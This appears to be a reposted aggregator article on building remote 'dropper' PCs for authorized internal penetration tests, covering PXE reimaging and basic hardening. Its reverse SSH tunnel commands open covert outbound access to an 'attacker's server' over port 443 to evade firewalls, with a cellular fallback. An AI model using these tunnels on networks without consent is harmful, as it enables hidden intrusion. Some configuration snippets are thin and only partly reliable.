How to Set Up Remote Penetration Testing Dropper PCs for Internal Network Assessments

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Remote penetration testing dropper PCs are essential for conducting internal network and wireless assessments. These devices are shipped to clients, who simply plug them in, allowing security teams to gain remote access via reverse SSH tunneling. After each engagement, the devices are reimaged via PXE boot for reuse.

You Should Know:

1. Setting Up Reverse SSH Tunneling

Reverse SSH tunneling allows outbound connections to bypass firewalls. Here’s how to set it up:

 On the dropper PC (client side): 
ssh -R 2222:localhost:22 [email protected] -p 443

On the attacker's server: 
ssh -p 2222 localhost

– Use TCP 443 to evade firewall restrictions.
– For cellular backup, use a USB modem:

sudo mmcli -m 0 --enable 
sudo dhclient wwan0

2. Automated PXE Boot Reimaging

PXE boot allows remote reimaging. Configure a TFTP server (dnsmasq) and an HTTP server for the OS image:

 Install and configure dnsmasq: 
sudo apt install dnsmasq 
sudo nano /etc/dnsmasq.conf

Add:

interface=eth0 
dhcp-range=192.168.1.100,192.168.1.200,12h 
dhcp-boot=pxelinux.0 
enable-tftp 
tftp-root=/var/lib/tftpboot

3. Hardening the Dropper PC

  • Disable unnecessary services:
    sudo systemctl disable bluetooth 
sudo systemctl stop avahi-daemon
  • Enable automatic updates:
    sudo apt install unattended-upgrades 
sudo dpkg-reconfigure unattended-upgrades

4. Alternative: Raspberry Pi vs. Beefy PCs

  • Raspberry Pi: Lightweight but limited in processing power.
  • Beefy PCs: Better for heavy tasks (cracking, large-scale scans).

5. Troubleshooting Firewall Issues

If SSH over 443 is blocked:

 Use SSLH for multiplexing: 
sudo apt install sslh 
sudo nano /etc/sslh.conf

Add:

protocols: 
- name: "ssh" 
host: "localhost" 
port: "22"

What Undercode Say:

Remote dropper PCs streamline penetration testing by minimizing client-side setup. Using reverse SSH over 443 ensures reliable connectivity, while PXE boot maintains operational security. For lightweight deployments, a Raspberry Pi suffices, but high-performance tasks demand robust hardware.

Prediction:

As cloud-based red teaming grows, hybrid approaches (hardware + cloud) will dominate for flexibility and scalability.

Expected Output:

A fully automated, remotely accessible penetration testing device with secure reimaging capabilities.

Relevant URLs:

IT/Security Reporter URL:

Reported By: Eddiez Me – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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